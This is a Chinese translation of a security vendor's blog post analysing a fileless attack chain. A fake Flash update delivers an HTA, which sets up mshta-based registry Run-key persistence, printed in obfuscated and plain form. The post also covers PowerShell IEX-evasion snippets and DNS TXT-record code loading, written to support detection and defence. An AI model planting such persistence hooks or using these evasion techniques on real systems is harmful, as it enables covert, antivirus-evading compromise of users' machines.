到目前,PowerShell仍然是防御者、IT管理员和黑客的首选工具。因为其可扩展性,支持全面编程语言的能力提供了一个全新的微软操作系统,这在过去严重缺失。我们是二进制防御者中PowerShell的倡导者,从简化管理,一直到自动化测试和复杂程序执行等所有操作PowerShell都是我们的首选。此外,为了合法防御和管理,许多工具,如PowerShell Empire,PowerSploit等,都被安全研究行业以及黑客使用。
截至昨天晚上,我们通过我们的管理端口检测,保护和响应平台Vision了解到多种不同的攻击方式,该平台采用组合方法来获取持久性访问并避开传统的反病毒技术。第一种方法是用户访问了声称需要更新其Adobe Flash浏览器插件的网站。这个是使用一个称为mshta.exe的HTA攻击方法。MSHTA.exe是一个合法的Microsoft二进制文件,可以在任何主浏览器中调用。在大多数情况下,HTA不是合法扩展文件,我们建议在防火墙上阻止所有HTA扩展。HTA文件允许执行几乎任何你想要的任何命令,完全有能力危及主机自身。
这个攻击工具已经被添加到到Unicorn和社会工程师工具包(Social-Engineer Toolkit)许多年。
在上述情况下的攻击,会在用户浏览时产生提示,如果受害者选择Open,那么这个HTA就会以任何可能的方式进行破坏。这可能是一个VBS下载器,PowerShell,一个被下载和执行的exe文件等等。在大多数情况下,都是通过有针对性的钓鱼网络钓鱼活动来攻击客户。我们最近有一个客户遭受类似攻击的情况,并将HTA攻击方法用作initial stage 以及 dropper.
该网页启动了恶意HTA,一旦这个HTA被打开,它立即被Vision检测到:
一旦发生这种情况,PowerShell命令就被执行了 – 这个特定攻击触发了几个警报。最具体的是一个SYSWOW64降级攻击。此攻击向量通常用于将进程降级为32位进程,用于本机shellcode注入。Unicorn / SET已经使用这种方法多年了。
在我们的特定原始日志中,我们看到了使用Invoke-Expression(IEX)的常用技术,以便从特定注册表项中提取持久性hooks。变量名和持久性hooks在最初的PowerShell调用中都被混淆处理。
这是开始有点讨厌的地方。在这个特定的攻击中,在CurrentVersion\Run下的用户配置文件下创建了一个注册表项,它是常见的持久性hooks起始位置。
我们还通过Vision注意到持久性hooks日志:
混淆持久性注册表hook:
HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run"C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>"
非混淆持久性注册表hook:<script>WScript_Shell_Object = new ActiveXObject("WScript.Shell");Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");eval(Registry_Key_Value);</script>
在这种具体的方法中,这就是我们所说的无文件攻击向量,因为它不是直接写入特定的攻击到磁盘,而是依靠注册表项和运行注册表项来获得持久的脚注到系统上。在这种情况下,mshta.exe正在使用WScript.shell来调用特定的注册表项,其中嵌入了PowerShell命令(这个命令通过PowerShell控制基础设施本身)。这种无文件持久化的方法没有被传统的反病毒软件标记,可以逃避大多数检测方法。
使用本机PowerShell和mshta,攻击者可以直接利用系统,而无需通过传统的感染方法下载二进制文件或后门系统。在大多数情况下,我们会看到一些常见的例子,例如Invoke-Expression(IEX),执行限制 Bypasses和EncodedCommands作为解决传统执行限制策略的主要方法。在这种情况下,使用了Invoke Expression,但是这些攻击有许多不同的变化可以用来规避传统的检测功能。
最近,安全研究员Vincent Yiu @vysecurity展示了一种通过PowerShell绕过传统检测方法的方法,而不需要调用IEX,EncodedCommand等。应该注意的是,在姚先生的实例中,他正在使用 “.”. 来调用calc.exe。在这个例子中,您将无法调用其他代码,而无需使用该代码作为分配变量,稍后调用它们,或者使用其他方法获取数据:
在这种情况下,TXT直接记录网站下载PowerShell的命令,并通过nslookup在系统上适当执行。这意味着您可以在DNS中的TXT记录内部包含代码,以在PowerShell命令中启动代码。Vision通过PowerShell检测出异常行为模式的几种不同方法,这种是PowerShell展示了无命令如何攻击,会引发对网络连接可疑进程的警报(其他许多其他二进制文件都表现出类似的行为):
如果检测到nslookup和通过nslookup提取代码,则Vision也可以识别这一点,因为它同时发生在PowerShell内部使用的nslookup以及在txt记录之外引用其他代码。使用姚先生 – “.” 只能执行一个文件,而不是实际执行代码本身。您将需要另一个命令,以便实际执行从nslookup txt记录中提取的代码。
与Daniel Bohannon谈话,你可能会这样做不一样,但仍然需要IEX仍然工作:
丹尼尔以下的例子: 甚至更好:$nslookupResult1 = 'iex'$nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'. $nslookupResult1 $nslookupResult2
$nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green'). $nslookupAllInOne[0] $nslookupAllInOne[1]
以下是通过Vision确定的具体模式:
对于没有使用Vision平台的公司,有一些方法来检测PowerShell的攻击行为,这些攻击行为并不使用特定的模式(例如IEX),而是更多的异常行为。虽然在某些情况下基本的模式识别是可以的就像abnormal behavior,例如PowerShell连接到互联网作为一个基本是一种模式行为,而不是寻找特定的命令(如IEX)。在尝试保护PowerShell不被利用时,还有很好的处理方法可以参考。
PowerShell(及更多)的一些良好做法示例:
随着研究人员,攻击者和行业使用PowerShell和逃避技术进一步发展,通过模式识别的传统检测方法不应仅仅依赖于检测恶意PowerShell。以上是一些很好的工具和例子,说明如何寻找企业中奇怪的行为和检测模式,可以大大提高早期检测攻击的能力。
*参考来源:binarydefense,